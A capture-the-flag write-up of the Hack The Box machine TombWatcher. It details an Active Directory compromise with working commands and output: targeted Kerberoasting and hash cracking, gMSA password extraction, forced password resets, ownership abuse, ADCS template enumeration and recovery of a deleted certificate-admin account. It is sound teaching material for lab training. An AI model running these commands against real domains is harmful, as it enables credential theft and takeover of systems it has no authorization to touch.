RECON

Creds

MACHINE INFORMATION

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-06-08 04:12:46Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T04:14:26+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ...
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T04:14:25+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ...
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T04:14:26+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ...
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T04:14:25+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ...
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
49678/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc         syn-ack Microsoft Windows RPC
49698/tcp open  msrpc         syn-ack Microsoft Windows RPC
49718/tcp open  msrpc         syn-ack Microsoft Windows RPC
49732/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 17666/tcp): CLEAN (Timeout)
|   Check 2 (port 44399/tcp): CLEAN (Timeout)
|   Check 3 (port 18169/udp): CLEAN (Timeout)
|   Check 4 (port 61708/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 4h00m00s
| smb2-time:
|   date: 2025-06-08T04:13:44
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Domain Insight:

  • Domain: tombwatcher.htb
  • DC Host: DC01.tombwatcher.htb
  • Cert Issuer: tombwatcher-CA-1
  • Clock Skew: +4 hours → align for Kerberos ticketing attacks

Port 80 is open for web hosting:

$ whatweb http://tombwatcher.htb

http://tombwatcher.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.110.17], Microsoft-IIS[10.0], Title[IIS Windows Server], X-Powered-By[ASP.NET]

Shows the default IIS landing page, indicating no custom web app deployed on the root path (/) — a rabbit hole.

BloodHound

Since neither the web service nor SMB yields anything noteworthy, I pivoted to BloodHound to map the domain and dissect DACLs using the provided credentials:

Bash
bloodhound-python -u 'henry' -p 'H3nry_987TGV!' -d 'tombwatcher.htb' -ns $target_ip --zip -c All -dc 'dc01.tombwatcher.htb'

A clear attack vector surfaces — a Kerberoastable path via WriteSPN:

htb_tombwatcher_1

With WriteSPN, henry can assign a custom Service Principal Name to alfred, effectively rendering him Kerberoastable—an invitation to extract and crack TGS tickets.

Additional BloodHound insights will follow shortly.

USER

WriteSPN

Ghost SPN Hijacking

We've weaponized WriteSPN before—see Blazorized and Administrator. It's essentially a scoped-down GenericWrite, but potent enough when targeting an account susceptible to Kerberoasting—weak password, offline cracking potential.

This technique, dubbed Ghost SPN Hijacking, involves assigning a fake SPN to a standard user, tricking the domain into treating them as a service account. From there, it's game on—request a TGS, extract the hash, and crack offline.

This doesn't work on actual service accounts—those rotate their secrets periodically, managed tightly by the DC. And their passwords are also too strong.

But alfred is a regular user—likely human, possibly lazy. That's enough.

Kerberoasting

Time to strike. Using targetedkerberoast.py, the attack is fully scripted—once we sync the clock:

Bash
./ft.sh tombwatcher.htb \
python targetedKerberoast.py -v -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!'

When abusing with Kerberos-base authentication, we need to compensate for the clock skew, for example using faketime, introduced in the Certified writeup (or leverage a bash script wrapper mentioned in the Haze writeup for Arch Linux distro — what I do here).

As a result:

[*] Querying offset from: tombwatcher.htb
[*] faketime -f format: +14401.295904
14401.295904s
[*] Running: python /home/Axura/hacktools/windows/targetedKerberoast/targetedKerberoast.py -v -d tombwatcher.htb -u henry -p H3nry_987TGV!
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$16eff3280db637bbb2e9d374705acd6e$80c9e87ab0ee04094cfff0439f9efd4d7c172ab3c89acddec891d5ce6bbf33540a7c9f98f51c924618aa5f0848f58927a0acc68c77e5c7da879ba68c41a7ca005729c203e51cb5813a3d59d6d8c0e04d3db530ca8cc1ac37bf6834d930dd9a976174ac34db8a0ab02250ec26ea691d25a2932cee3630e50e1adaf6b83b4470045707663b2819eb4be89074014bd0cac5a3124ed2fffd57854ba2a98576ae64f0c42d9f0aab3e1f9aa8a66cb25d7c9b0a8c390f1ce2281821fa99dcb916a61e42616001a7135ed44a18bad1395350102909912e5c0c747c459b971eab4b020273496d16c4c15511ef75349df0b0ecf08c9c7eb037551e5fea41c00ddc26f8e05cb966ebfda546fde8080717834be5ab0f4f3a66f1ce5fbb464a29f6d9a96e1bddb2f502f23d4750cb88c18efb41232eb32b85f56278139e43921a974b05fa6fd03cb6dfb1e4e21b6311c3bff6f83056a8df43e481102c60d08de056e2e0cb399b248d9ce7b46d07e5d33550419c7dc3b8558e8557829f0f5adba9a490fa70604aedd462021dd7796bc225fd5414af024aac9b726782f91d34ac0ac3fc2fd1179428631c0add64498b15ba8df3a24b2e2ed0fab8e8867efe9cd6559beab0c6235275718b1282c2feae336929c0d9c5965c555fd4363fda70b61f72799b2c4e5ad002af01080cf2ff0bca55ec30bbe12e04c955135885c933ac17fe46ea968ecaa1f13c1b81bd8ab81f1d6eef2e4815497e51013561f4eecfc3a24791471083fa2fa01bce18168890e115a6abed642236577263575982b247b395acc4c861cb0980a128e611492ad116a3ea6f994d7bc6923b92deadad01f4fa4ad49c94cd546e28b7a3e628edc52da805aa56d6df5f03d53175f15c3cdd94b4b0754f408914f70bdc1af3d72a4eaad772fa1665fd416471c33db53cdb510de1f428eed636dde5b5985a9449a73f4ad7f73331b862f58c3ab831ffc76cafa3e50430924e21160599c2caa4ba8dd310d30c55ca8fad5450a3e23a63d9b79e6ad8e1db2f41684f7b9fa41310239349aad1d8c1eac5362370cc07fa0bc537190043892cba61ba238d09b6d567267773849ef78e6bed6838bd6b9435bfd84c435289fd6471906dde334c832282578e64ffd4fac17a7ad0e13ce9523bc7399022e475a626de16804327311eea6e0e64b2b40d185bd5e241438d5f06240179dce18721f147d2f1c3d52cfd8d190099e5022f1e0090a68b655a0f2e64cf7abfb26017ff5edff55aa12851c4f83bf4f1b4bf70b187d580489994767f798f72f022c6086e1941733c746c491bcbb19ad9755d2d5bb24179c6e38cd1225f2ee841b0e4c236e17999ea6c32ba65b20f71bf584c1f001ca40214f6de8fa28ad5c220fbdd775a5d419cbd42f7e2cacfbe5a5031bf8de598313717e5eb9c87155d4947bd8fe64038135d1e829580d2993de588159eac0eb790642b5c8a9199872b2a0a03
[VERBOSE] SPN removed successfully for (Alfred)

The hash we've extracted is in the Kerberos TGS-REP format, specifically used for Kerberoasting attacks.

To crack this, use hashcat with mode 13100:

Bash
hashcat -a 0 -m 13100 hashes.txt rockyou.txt --force

And boom:

$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$16e...03:basketball

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb...2a0a03

The victim spills: alfred / basketball.

AddSelf

BloodHound lights up the path: alfred has AddSelf on the Infrastructure group.

htb_tombwatcher_2

This translates to WriteMembers in AD-speak—allowing a user to sneak themselves into a group's member attribute. No invitations needed. Though no ability to add others. Purely self-service.

Covered this maneuver in Vintage. Same trick, new target.

Therefore, we can add alfred as a member to group Infrastructure, using bloodyAD:

Bash
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
	-u 'alfred' -p 'basketball' \
	add groupMember Infrastructure alfred

ReadGMSAPassword

Once inside Infrastructure, the privilege payload hits — ReadGMSAPassword on ANSIBLE_DEV$:

htb_tombwatcher_3

This grants access to the plaintext credentials of a gMSA (Group Managed Service Account)—a consistent jackpot in previous hits like Mist and Vintage.

This indicates that members of the Infrastructure group can retrieve the plaintext password for the ANSIBLE_DEV$ gMSA account — after we made alfred eligible.

Call bloodyAD to unlock the vault:

Bash
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
    -u 'alfred' -p 'basketball' \
	  get object 'ANSIBLE_DEV$' \
	  --attr msDS-ManagedPassword

Result:

distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc
msDS-ManagedPassword.B64ENCODED: IIwfpSnxGqOGf+d99xuIBTCl3yqtm6fvywv4pBqe5PN9jsYcLAWn3x1doYf9ZzjBXGB3XoRzPFNwtajDOG304xGmN2CJ4G+5QsLACGGVvu3ZoG4aosUdfpEGuWyYqSyKggtxHtssw1lWLbrZayfWqascdDtBvuaszTpJgmDnLykE6QP+BmmngEkfETLuZ+hH0pP896TujqasQXFyOBkqwVtvXe1Lx9szud4//XTPoejE0KBihHGhzmbQ8pGH9QR9zl21XsohXJA2dd9QAUwgGpCssBhbOPtAalPoaOYDlBE4wrFZNnrYpADsIeYVO/HmXVnGO1e/9XRjcSCEZaHvTw==

Test if the NTLM hash is valid—ANSIBLE_DEV$ is active and exploitable:

htb_tombwatcher_4

ForceChangePassword

BloodHound maps the privilege escalation ladder further:

htb_tombwatcher_5

This indicates that the ANSIBLE_DEV$ account has sufficient rights to forcefully change the password of the sam user — without knowing the current password.

We mentioned this way too many times in previous AD related writeups, that we can both manipulate it within a PowerShell (after remote logon) or attack remotely using Kerberos ticket or NTLM hash.

Apparently here we will choose the latter one, that sam is not part of the Remote Management group. As instructed in the Haze writeup:

Bash
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
	  -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' \
	  set password "sam" "StrongP@ssw0rd"

Verify the hack:

htb_tombwatcher_8

WriteOwner

Now the power shifts again — sam holds WriteOwner over john:

htb_tombwatcher_6

This means Sam has permission to change the owner of the john object in Active Directory.

We've seen this in Certipy, EscapeTwo, Scepter, DarkCorp, Haze... same tactic, same results. Just search up with our previous writeups.

Hence, we seize ownership of the target, escalate with GenericAll privileges, and compromise the account through multiple vectors—be it Shadow Credential Attack, direct password resets, or any attack that rides on full object control:

Bash
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  	-u 'sam' -p 'StrongP@ssw0rd' \
	  set owner 'john' 'sam'

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  	-u 'sam' -p 'StrongP@ssw0rd' \
  	add genericAll 'john' 'sam'
	
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
	  -u 'sam' -p 'StrongP@ssw0rd' \
	  set password "john" "StrongP@ssw0rd"

Besides, user john happens to be part of the Remote Management group—remote access unlocked:

htb_tombwatcher_7

So verify the hack now:

htb_tombwatcher_9

GG:

htb_tombwatcher_10

User flag secured.

ROOT

CA Enum

We identify the CA tombwatcher-CA-1 configured for the domain. Time to enumerate exposed certificate templates via certipy:

Bash
certipy find \
	  -target tombwatcher.htb \
	  -u 'john' -p 'StrongP@ssw0rd'

The scan reveals a sparse set of enabled templates. We narrow our focus to those with enrollment rights that align with our current privileges.

Template | User

JSON
"32": {
  "Template Name": "User",
  "Display Name": "User",
  "Certificate Authorities": [
    "tombwatcher-CA-1"
  ],
  "Enabled": true,
  "Client Authentication": true,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": false,
  "Certificate Name Flag": [
    33554432,
    67108864,
    536870912,
    2147483648
  ],
  "Enrollment Flag": [
    1,
    8,
    32
  ],
  "Private Key Flag": [
    16
  ],
  "Extended Key Usage": [
    "Encrypting File System",
    "Secure Email",
    "Client Authentication"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "Authorized Signatures Required": 0,
  "Schema Version": 1,
  "Validity Period": "1 year",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Template Created": "2024-11-16 00:57:49+00:00",
  "Template Last Modified": "2024-11-16 00:57:49+00:00",
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Domain Users",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ]
    },
    "Object Control Permissions": {
      "Owner": "TOMBWATCHER.HTB\\Enterprise Admins",
      "Full Control Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Owner Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Dacl Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Property Enroll": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Domain Users",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ]
    }
  },
  "[+] User Enrollable Principals": [
    "TOMBWATCHER.HTB\\Domain Users"
  ],
  "[*] Remarks": {
    "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
    "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
  }
}
  • Enabled: ✅
  • EKUs: Client Authentication, Secure Email, EFS
  • Enrollment Rights: Includes Domain Users, namely for normal users like john, sam, etc.
  • Schema Version: 1 (ESC1/ESC2/ESC3 applicable)
  • Flags: Private Key Exportable
  • Exploitability:
    • ESC1: ❌ Web enrollment is disabled
    • ESC2: ✅ User-enrollable, schema v1, no manager approval
    • ESC3: ✅ CA auto-issues certs, client authentication enabled

Template | Machine

JSON
"19": {
  "Template Name": "Machine",
  "Display Name": "Computer",
  "Certificate Authorities": [
    "tombwatcher-CA-1"
  ],
  "Enabled": true,
  "Client Authentication": true,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": false,
  "Certificate Name Flag": [
    134217728,
    268435456
  ],
  "Enrollment Flag": [
    32
  ],
  "Extended Key Usage": [
    "Client Authentication",
    "Server Authentication"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "Authorized Signatures Required": 0,
  "Schema Version": 1,
  "Validity Period": "1 year",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Template Created": "2024-11-16 00:57:49+00:00",
  "Template Last Modified": "2024-11-16 00:57:49+00:00",
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Domain Computers",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ]
    },
    "Object Control Permissions": {
      "Owner": "TOMBWATCHER.HTB\\Enterprise Admins",
      "Full Control Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Owner Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Dacl Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Property Enroll": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Domain Computers",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ]
    }
  },
  "[+] User Enrollable Principals": [
    "TOMBWATCHER.HTB\\Domain Computers"
  ],
  "[*] Remarks": {
    "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
    "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
  }
}
  • Enabled
  • Enrollment Rights: Domain Computers only — but we compromised ANSIBLE_DEV$.
  • Remarks: Marked as ESC2/ESC3 target (but requires computer object context)

Template | Web Server

JSON
"17": {
  "Template Name": "WebServer",
  "Display Name": "Web Server",
  "Certificate Authorities": [
    "tombwatcher-CA-1"
  ],
  "Enabled": true,
  "Client Authentication": false,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": true,
  "Certificate Name Flag": [
    1
  ],
  "Extended Key Usage": [
    "Server Authentication"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "Authorized Signatures Required": 0,
  "Schema Version": 1,
  "Validity Period": "2 years",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Template Created": "2024-11-16 00:57:49+00:00",
  "Template Last Modified": "2024-11-16 17:07:26+00:00",
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins",
        "S-1-5-21-1392491010-1358638721-2126982587-1111"
      ]
    },
    "Object Control Permissions": {
      "Owner": "TOMBWATCHER.HTB\\Enterprise Admins",
      "Full Control Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Owner Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Dacl Principals": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins"
      ],
      "Write Property Enroll": [
        "TOMBWATCHER.HTB\\Domain Admins",
        "TOMBWATCHER.HTB\\Enterprise Admins",
        "S-1-5-21-1392491010-1358638721-2126982587-1111"
      ]
    }
  }
}
  • Enabled: ✅
  • EKU: Server Authentication
  • Schema Version: 1 → exploitable by ESC1, ESC8
  • Authorized SID: S-1-5-21-1392491010-1358638721-2126982587-1111

While the Server Authentication EKU typically signals a certificate meant to authenticate servers to clients, and is not inherently exploitable, one anomaly stands out: a user with RID 1111—that is, a SID ending in -1111—retains explicit enrollment rights for the WebServer template.

That's uncommon. Especially when the SID structure mirrors that of legitimate user accounts (e.g., 11xx series), suggesting this was once a real user.

htb_tombwatcher_11

However, querying the directory shows that the user no longer exists:

htb_tombwatcher_12

That's a red flag.

This SID is now orphaned—a ghost identity with lingering privileges. Precisely the kind of forgotten foothold that makes ADCS vulnerable.

AD Recycle Bin

We begin our probe by inspecting the suspicious WebServer certificate template using certutil on the target machine:

*Evil-WinRM* PS C:\Users\john> certutil -template WebServer

Name: Active Directory Enrollment Policy
Id: {DA893B98-8EEC-4A9A-B7A3-CA0392B7D97F}
Url: ldap:
33 Templates:

Template[31]:
TemplatePropCommonName = WebServer
TemplatePropFriendlyName = Web Server
TemplatePropSecurityDescriptor = O:S-1-5-21-1392491010-1358638721-2126982587-519G:S-1-5-21-1392491010-1358638721-2126982587-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-1392491010-1358638721-2126982587-519)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-1392491010-1358638721-2126982587-1111)(A;;LCRPLORC;;;S-1-5-21-1392491010-1358638721-2126982587-1111)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-1392491010-1358638721-2126982587-519)(A;;LCRPLORC;;;AU)

Allow Enroll        TOMBWATCHER\Domain Admins
Allow Enroll        TOMBWATCHER\Enterprise Admins
Allow Enroll        S-1-5-21-1392491010-1358638721-2126982587-1111
Allow Read  S-1-5-21-1392491010-1358638721-2126982587-1111
Allow Full Control  TOMBWATCHER\Domain Admins
Allow Full Control  TOMBWATCHER\Enterprise Admins
Allow Read  NT AUTHORITY\Authenticated Users


CertUtil: -Template command completed successfully.

This indicates that the privileged SID S-1-5-21-1392491010-1358638721-2126982587-1111 alone has enroll rights — but no associated username is resolved.

The SID wasn't resolved to a readable username, hinting at one of:

  • A hidden object
  • A deleted user
  • Or a misconfigured ACL

To verify, attempt direct resolution via PowerShell:

*Evil-WinRM* PS C:\Users\john> Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"

Cannot find an object with identity: 'S-1-5-21-1392491010-1358638721-2126982587-1111' under: 'DC=tombwatcher,DC=htb'.
At line:1 char:1
+ Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-111 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : ObjectNotFound: (S-1-5-21-139249...2126982587-1111:ADObject) [Get-ADObject], ADIdentityNotFoundException
+ FullyQualifiedErrorId : ActiveDirectoryCmdlet:Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException,Microsoft.ActiveDirectory.Management.Commands.GetADObject

This failure suggests the SID points to an orphaned/deleted object — it exists in the ACL (security descriptor) of the template, but not in AD.

To dig deeper, we pivot to the AD Recycle Bin, which is confirmed enabled:

*Evil-WinRM* PS C:\Users\john> Get-ADOptionalFeature 'Recycle Bin Feature'


DistinguishedName  : CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=tombwatcher,DC=htb
EnabledScopes      : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=tombwatcher,DC=htb}
FeatureGUID        : 766ddcd8-acd0-445e-f3b9-a7f9b6744f2a
FeatureScope       : {ForestOrConfigurationSet}
IsDisableable      : False
Name               : Recycle Bin Feature
ObjectClass        : msDS-OptionalFeature
ObjectGUID         : 907469ef-52c5-41ab-ad19-5fdec9e45082
RequiredDomainMode :
RequiredForestMode : Windows2008R2Forest

This returned EnabledScopes, confirming that Recycle Bin is active in this domain.

Now we enumerate deleted user objects:

PowerShell
Get-ADObject -SearchBase "CN=Deleted Objects,DC=tombwatcher,DC=htb" `
  -LDAPFilter "(objectClass=user)" `
  -IncludeDeletedObjects `
  -Properties objectSid, samAccountName, lastKnownParent, whenChanged

Among the results, we identified a deleted object whose objectSid matched:

htb_tombwatcher_13

This confirmed that:

  • The SID belonged to a now-deleted user
  • Yet their permissions still persist on the WebServer template
  • The account was likely a privileged or test account previously authorized

Besides, the LastKnownParent attribute is a special metadata field automatically added to deleted AD objects when the Active Directory Recycle Bin feature is enabled. It stores the Distinguished Name (DN) of the original container (OU) where the object resided before deletion.

In our case:

OU=ADCS,DC=tombwatcher,DC=htb

This tells us the deleted user cert_admin was originally part of the ADCS Organizational Unit, which we revealed in our previous BloodHound result — as to be displayed following on.

GenericAll

Earlier BloodHound output confirmed that john holds GenericAll over the ADCS OU:

htb_tombwatcher_14

That's the same container where the deleted user cert_admin used to live—a ghost still bound to the WebServer certificate template via SID ...-1111.

With GenericAll, we own the container. Meaning we can resurrect that deleted user object, SID and all.

From the Recycle Bin dump, three cert_admin tombstones surfaced:

*Evil-WinRM* PS C:\Users\john> Get-ADObject -SearchBase "CN=Deleted Objects,DC=tombwatcher,DC=htb" `
-IncludeDeletedObjects -LDAPFilter "(samAccountName=cert_admin)" `
-Properties * | Format-List samAccountName,objectGUID,Deleted,LastKnownParent

samAccountName  : cert_admin
objectGUID      : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
Deleted         : True
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

samAccountName  : cert_admin
objectGUID      : c1f1f0fe-df9c-494c-bf05-0679e181b358
Deleted         : True
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

samAccountName  : cert_admin
objectGUID      : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Deleted         : True
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

Among them, only one carries the SID:

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
Name              : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass       : user
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1111
samAccountName    : cert_admin
whenChanged       : 11/16/2024 12:07:27 PM

